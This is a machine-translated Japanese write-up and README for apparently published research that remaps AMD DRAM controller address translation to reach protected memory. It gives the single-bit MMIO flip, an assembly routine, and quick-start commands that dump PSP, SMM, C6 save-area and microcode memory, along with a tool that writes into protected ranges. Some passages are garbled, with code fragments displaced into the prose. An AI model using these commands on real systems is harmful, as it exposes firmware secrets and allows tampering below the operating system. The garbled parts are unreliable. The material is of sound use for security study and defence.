
2026/08/13 23:17
スパゲッティ化されたDRAM
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
プロジェクト「skitter-creek-bath-salts」は、AMD ファミリー 16h CPU に重大なセキュリティ欠陥が存在することを明らかにしている。特定のコマンド(
xor dword [0xf80c2094], 0x00400000)によって 1 ビットだけを反転させると、物理メモリアドレスが再マッピングされる。新しい世代の製品ではデータシートでロックされた翻訳レジスタを示唆しているが、古いチップはこうした保護機能を欠いている。このエクスプロイトは、線形代数学ツール(SMT ソルバー z3)および既知のアライアスペアを利用してアドレスシャッリング行列を再構築することで機能する。これはメモリアルコントロールテクノロジー (MCT) パイプラインの最終レイヤーにわたって基本的なセキュリティ原語を無効化し、AMD、Intel、ARM、RISC-V 環境ならびに SEV、SGX、TDX、TrustZone などの環境に影響を及ぼす可能性がある。
その影響は甚大であり、ユーザー空間からプラットフォームセキュリティプロセッサ (PSP)、システム管理モード (SMM) ハンドラ、揮発性 CPU マイクロコード、C6 アイドル状態のスタッシュ領域に隠された内部レジスターといった重要な領域へのアクセスが可能になる。この問題を解決するため、研究チームはコミュニティによるレビューを目的として、単純な
make プロセスで構築されたオープンソースツール(dram_read、dram_poke、dram_dump)と分析スクリプト(gather_aliases.py、unspaghettify.py)を公開している。研究成果は Black Hat 2026 で公式に発表され、ロック機構が省略されたアーキテクチャ仕様のギャップに焦点が当てられる。このプロジェクトは、Christopher Domas (@xoreaxeaxeax) による研究活動である。本文
DRAM スカッターによる CPU 全機能の解放 —— PSP、C6、マイクロコード、SMM を含む完全攻略
概要
DRAM コントローラーを書き換えることで、メモリ上の任意のアドレスにデータを転送・アクセスできる攻撃手法です。 「skitter-creek-bath-salts」というツールは、メモリエラートの最下層を改ざんし、物理 DRAM アドレスのトランスレーション回路を再配線します。
これにより以下のことが実現されます:
- プラットフォーム全体のリニアなメモリが混乱(スパゲッティ化)する
- カーネルですら見えないという保護された DRAM リージョンが露見する
- アドレスのトランスレーションが破綻することで、セキュリティプリミティブが機能停止し、すべてが解放される
TL;DR
- プラットフォームセキュリティプロセッサ (PSP) を解放する
- システム管理モード (SMM) を解放する
- C6 DRAM(イーイド状態での CPU 保存領域)を解放する
- CPU マイクロコードを解放する
対象とするハードウェア
この手法は、以下の条件を満たす AMD CPU で開発・テストされました:
- モデル: 16h コードネームの AMD CPU
- 仕様書の特徴: メモリエラート制御レジスタにデータがあり、かつロック不可であることが明記された最後の世代
制約と拡張性
- 以降の 17h シリーズやその後のモデルでは、この情報は一切記載されていないため、直接適用できません。
- しかし、「p」の旅(攻撃経路)は世代やアーキテクチャを超えて類似しており、底層の変換は ARM や RISC-V などにも広がっています。
- この手法を知るための入り口として示唆されています。
技術的仕組み:「*p」の旅
メモリへのアクセスは、あまりにも深く抽象化された層の上に構築されています。コードが
*p をデレファレンスする際、それは DRAM のアドレス p にアクセスしているように見えますが、実際にはそうではありません。
物理アドレスに触る前に、以下のゲートウェイを通過しなければなりません:
1. CPU コア / MMU
- VA (仮想アドレス): ロード/ストアによる 64 ビットアドレス
- Canonical フォームチェック: ビット [63:48] がビット 47 の符号拡張に従う
- セグメントベースの加算:
/MSR_FS_BASE
を介した FS.base / GS.baseMSR_GS_BASE - TLB プロブ: ホストは PCID、ゲストは VPID でタグ付け
- ヒット → 物理アドレス k
- ミス → ハードウェアページウォーカを起動
- ページウォーク (CR3 から): TLB ミスのみ実行される
- PML5[VA 56:48] (CR4.LA57 の場合のみ)
- PML4[VA 47:39]
- PDPT[VA 38:30] (1 GiB リーフ可能)
- PD [VA 29:21] (2 MiB リーフ可能)
- PT [VA 20:12]
- PTE (R/W · U/S · NX · A/D · PAT · PCD · PWT · G)
- レベルごとのチェック:
- プライビレッジ (U/S)
- 書き込み (R/W) —
+ CR0.WP - 実行 (NX) —
EFER.NXE - SMEP / SMAP —
·CR4.SMEP
·CR4.SMAPEFLAGS.AC - プロテクションキーズ — PKRU (ユーザ) · IA32_PKRS (スーパーバイザ)
- A/D ビット更新: PTE 上のロックされた RMW
2. ゲスト仮想化(ゲストの場合のみ)
- EPT / NPT の再ウォーク(各ゲスト PA は再ウォークされ、EPT メモリタイプオーバーライドが適用される)
- EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT(単一ゲストの 1 ウォークに対して約 5 ウォーク必要)
- TLB シュータウダウン IPIs (peer vCPUs への invlpg broadcast)
3. IOMMU (チップセット / I/O ファブリック)
- デバイス主導の場合、IOMMU ページウォーク (VT-d / AMD-Vi: デバイス ID → ドメイン → テーブル)
4. MCT / IMC (メモリコントローラ / 統合メモリコントローラ)
物理アドレスは実際には「推奨事項」に過ぎません。ここでDRAM のスパゲッティ化が行われます。
DRAM 座標
- バnkグループ · バンク · レジスタ [RAS] · コラム [CAS]
MCT/DCT レベルの機能
このプロジェクトは、
*p パイプラインの最下層である MCT/DCT レベルで動作します。データファブリック/インターコネクタから来た物理アドレスが、メモリコントローラーに入力され、DIMM に発行される際の生の DRAM 座標へ書き換えられる段階です。
- DRAM ホールのリマップ: TOM を超えるハイメモリの再マッピング
- メモリエラート領域の除外リマップ: 予約済み・保護された範囲
- インターリーブハッシュ: チャンネル、ランク、バンクごとの選択 PA ビットの XOR → マッピング
- バンクスウィズル / XOR スクラブル: ベンダーおよび BIOS で構成可能
- チップセレクト正規化 (DCT): ランクごとの CS ライン、ランク → CS マッピング
- サブチャンネル選択: DDR5 / LPDDR5 のみ
DRAM のスパゲッティ化(実装)
物理アドレスを混乱させるための攻撃的全部内容は以下の 1 ビットの反転だけで実行されます。
xor dword [0xf80c2094], 0x00400000
これが実行されると:
- DRAM コントローラーの最下層が再配線される
に存在していたデータは、フライト中の別の場所に移動する&x- 「&x != &x」となり、アドレスのトランスレーションが破綻する
CPU、ファームウェア、アンコア、チップセットによって物理アドレスを壁のように囲い込んだすべてのメカニズムはメモリコントローラーの上部にあるため、コントローラー下方での何が起こるかを認識していません。フェンスは物理アドレスを防衛しているに過ぎず、座標を再配置すれば上方のバリアには見えないようになります。
実装の詳細:素早く動作させるトリック
- AP(アシスタントプロセッサ)を無効化
- TLB をプリムしてキャッシュを温める
- 割り込みを無効化し、ターゲットをフラッシュ
- メモリアクセスをシリアライズ
- CPU が次の指令のプレフェッチを行っていることを期待する
その後、MCT/DCT を再配線して DRAM をスパゲッティ化し、保護されたリージョンからデータを取得します。最後にマッピングを元に戻して、再度シリアライズ、割り込みを有効化、AP の再開を行い、プラットフォームは正常な状態に戻ります。
mov eax, [0xf80c2094] ; mmio TLB をプリム mov eax, [0x6f800000] ; ターゲット TLB をプリム pushf ; フラグを保存 cli ; 割り込みオフ clflush [0x6f800000] ; ターゲットを退去し、DRAM リードを強制 mfence ; バリア - コヒーレントな DRAM アクセスなし lfence ; スパゲッティ化されたビューに順序付けられる xor dword [0xf80c2094], 1<<22 ; dct swizzle を反転 → DRAM をスパゲッティ化 mov ebx, [0x6f800000] ; スパゲッティ化されたビューでターゲットを取得 xor dword [0xf80c2094], 1<<22 ; dct swizzle を元に戻す → スクラブル解除 mfence ; バリア - スパゲッティ化された DRAM アクセスなし lfence ; コヒーレントなワールドビューに順序付けられる popf ; 割り込みをオンにする
この手法により、ページング、キャッシュ状態スレッドリング、および TLB の適切な設定により、アドレスの混乱は C から動作させることが可能です。
したがって、地図を書き換えて痕跡を残さずに復元することは可能です。残されているのは、「何を何に書き換えたかを知ること」だけです。
全解放の原理
プラットフォーム上のすべての保護されたメモリ領域は、電卓を使って到達可能です。
線形代数による復号化
DRAM コントローラーのアドレス変換は GF(2) 線形マッピングであり、これは基本的な線形代数を用いて混乱したメモリーを再構築することを意味します。
-
通常の場合 (ファームウェアビュー): $$ M_{firmware} \cdot target = secret $$ これはメモリのコヒーレントなビューで、「*p」パイプラインの最下階が通常の通り動作しています。
-
攻撃者の場合 (スパゲッティ化ビュー):
xor dword [0xf80c2094], 0x00400000これにより、プラットフォームはメモリの混乱した(スパゲッティ化された)ビューに遷移します。ここで別の変換によってエイリアスが同じ DRAM 機密情報に到達できるようにします:
$$ M_{attacker} \cdot alias = secret $$
-
行列の合成: エイリアスを見つけるには、攻撃的/スパゲッティ化されたハッシュの逆行列に、ファームウェア/コヒーレントなハッシュの順方向行列を合成します:
$$ M_{attacker}^{-1} \cdot M_{firmware} = alias_map $$
-
解決手法:
- 行列が不明ですが、手計算(電卓) や z3 (SMT ソルバー) を使用して解くことができます。
- z3 は、コヒーレントなビューからスパゲッティ化されたビューへ切り替えた後、メモリのランダムなアドレスに
のような Sentinel 値を挿入し、再度元に戻した際、Sentinel が再浮上する場所0xdeadc0de
パーを得て、変換行列を解きます。(target, alias)
解放された機能
解決されたトランスレーションは Rosetta の石です:
- コヒーレントなビューの任意のターゲットアドレスは、スパゲッティ化されたビューにおいて同じ DRAM に到達するエイリアスにマッピングされます。
- 保護されたメモリー(PSP 私有メモリー、SMRAM、C6 イーイド状態など)を到達するには、通常触ることができないアドレスを取り、トランスレーションに通してエイリアスを取得します。
で DCT を再配線し、エイリアスを読み書きし、再度元に戻すことで、プラットフォームがコヒーレントなビューのために構築したフェンスを一切通らずに済むようになります。xor dword [0xf80c2094], 0x00400000- *「p」パイプラインの最終段階で 1 ビットを反転させるだけで、すべてが解放されます。
クイックスタート:各機能の解放
以下のコマンドを実行する前に、
userspace/platform_check || exit 1 を実行してください(未テストプラットフォームでは早期終了します)。
※ 2x4gb は data/maps/ にあるインストール済み DIMM と一致するプレフィックスに置き換えてください(例:sudo dmidecode -t memory の出力参照、または分析スクリプトの生成)。
1. プラットフォームセキュリティプロセッサ (PSP) を解放する
PSP を改ざんし、fTPM が動作する独自 ARM コア上の DRAM カーブアウト領域(Top-of-Memory を超える)へのアクセスを取得します。
./userspace/platform_check || exit 1 # PSP DRAM カーブアウトを解決します — PSP_BASE / PSP_SIZE を設定 eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin # PSP は ARM コアであるため、Thumb-2 としてディスアセムブルします。 objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \ --start-address=$((PSP_BASE + 0x19d4)) \ --stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \ -D psp.bin
抽出されたコード:
crAmd_ModExp — fTPM の RSA モジュラ指数演算ルーチン。
- PSP が独自に所有し、メモリコントローラーでフェンスされ、Ring-0 ですら不透明であった事実から引き揚げられました。
- あらゆる fTPM 署名、および鍵を発行する Miller-Rabin テストの背後にある modexp を復元できます。
2. システム管理モード (SMM) を解放する
SMI ハンドラーエントリーベクター (
SMBASE + 0x8000) を経由して、チップセットが読み不可能なメモリエラート外の最も特権的なコンテキストを動作させます。
./userspace/platform_check || exit 1 sudo modprobe msr # SMBASE は MSR `0xc0010111` にあります(コアごとに異なる場合あり) SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 )) # Alias マップを通じてエントリーベクターをダンプし、リアルタイムでディスアセムブルします。 sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
3. C6 DRAM を解放する
コアが電力ゲートによって C6(イーイド状態)に移行すると、各コアの x86 アーキテクチャコンテキスト全体がここに保管され、再開時に復元されます。
./userspace/platform_check || exit 1 # C6 貯蔵庫を解決します — CC6_BASE / CC6_SIZE を設定 eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin # すべてのコアからストレートに貯蔵庫から読み取ります: for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done
| オフセット | x86 ステート | コア 0 の値 |
|---|---|---|
| +0x8b0 | GS / per-cpu ベース | 0xffff9be4e3600000 |
| +0x9a0 | CR3 (ページテーブルルート) | 0x0fd46000 |
| +0x9b8 | IA32_APIC_BASE | 0xfee00900 |
| +0xa38 | 変数 MTRR (ベース/マスク) | 0x6f000000 / …0800 |
| +0xb10 | 保存された RIP | 0xffffffff8f3a0029 |
Ring-0 からアクセスできない内部 CPU レジスタを触ることができます。
4. CPU マイクロコードを解放する
コアが C6 に落ちると、マイクロコードパッチ RAM(揮発性 SRAM)はコアと共に消え失せます。C6 貯蔵庫はロードされたパッチを DRAM に保持し、起動時に再シードします。
./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)" # コア 0 のセーブ領域のページ 1 は、ライブマイクロコードパッチ本体です sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
確認と抽出:
python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
これにより、コアが C6 から復帰する際に再ロードされるマイクロコードパッチを取得し、
dram_poke で書き込むことも可能です。
ビルドと使用方法
ビルド
make # カーネル/spaghettify.ko とすべてのユーザースペースツールをビルド make clean
メインツールの使用方法 (root として実行)
詳細は
USAGE.md にあります。
dram_read
保護されたメモリーアドレスからの単純な読み取りです。
dram_read --pa <pa> --do-swizzle <0|1> --do-bankswap <0|1>
dram_poke
保護されたメモリー範囲への書き込みです。複数のマップを渡すことで、異なるスパゲッティ化パターンでの穴埋めを行い、カバー範囲を広げます。
dram_poke \ [--dangerously-skip-calibration] \ [--calibrate-pa <hex>] \ [--strict-holes] \ [--no-verify] \ [--ignore-fw-mismatch] \ [--fenced-range <lo>,<hi>] \ [--allow-fenced-alias] \ -s, --protected-pa <pa> \ -l, --length <n> \ --map <file> [--map <file>]... \ < in.bin
dram_dump
保護されたメモリー範囲からの読み取りです。
dram_poke と同じ --map メカニズムを使用します。
dram_dump \ [--dangerously-skip-calibration] \ [--calibrate-pa <hex>] \ [--dry-run] \ [--ignore-fw-mismatch] \ [--fenced-range <lo>,<hi>] \ [--allow-fenced-alias] \ -s, --protected-pa <pa> \ -l, --length <n> \ --map <file> [--map <file>]...
フルツールチェーン(
dram_state, dram_carveouts, dram_alias;gather_aliases.py / unspaghettify.py 分析パイプライン;エンドツーエンドの動作例)は USAGE.md に文書化されています。
共有パイプラインと結論
skitter-creek-bath-salts は、MCT/DCT 変換の最終段階が、それよりも上に構築されたすべてのセキュリティを転倒させる方法を探求します。
破壊されたパイプラインはどこにあるか?
チャンネルインターリーブ、ランクインターリーブ、バンクインターリーブ、スウィズル、チップセレクト正規化——すべての近代メモリコントローラーはこれらのバージョンのいずれかをいくつか行います。
- AMD, Intel, ARM, RISC-V
- モバイル、サーバー、組み込み
同じアーキテクチャ形状はすべて下に座っています。それらの上に存在するセキュリティ機能:
- SEV, SGX, TDX, TrustZone
- CCA ドメイン, pKVM, CoVE
- SEP, PSP, ME (Management Engine)
- T-SEG, SMRAM
- C6 貯蔵庫
DRAM にあるすべてのもの——Ring-0 や CPU そのものに壁で囲まれ、不可視なものさえ——は、まさに探求し始めたばかりの「*p」パイプラインの最終階段に依存しています。
リンクス
- Black Hat 2026 — Spaghettifying DRAM (近日公開予定)
著者
skitter-creek-bath-salts は Christopher Domas (@xoreaxeaxeax) の研究プロジェクトです。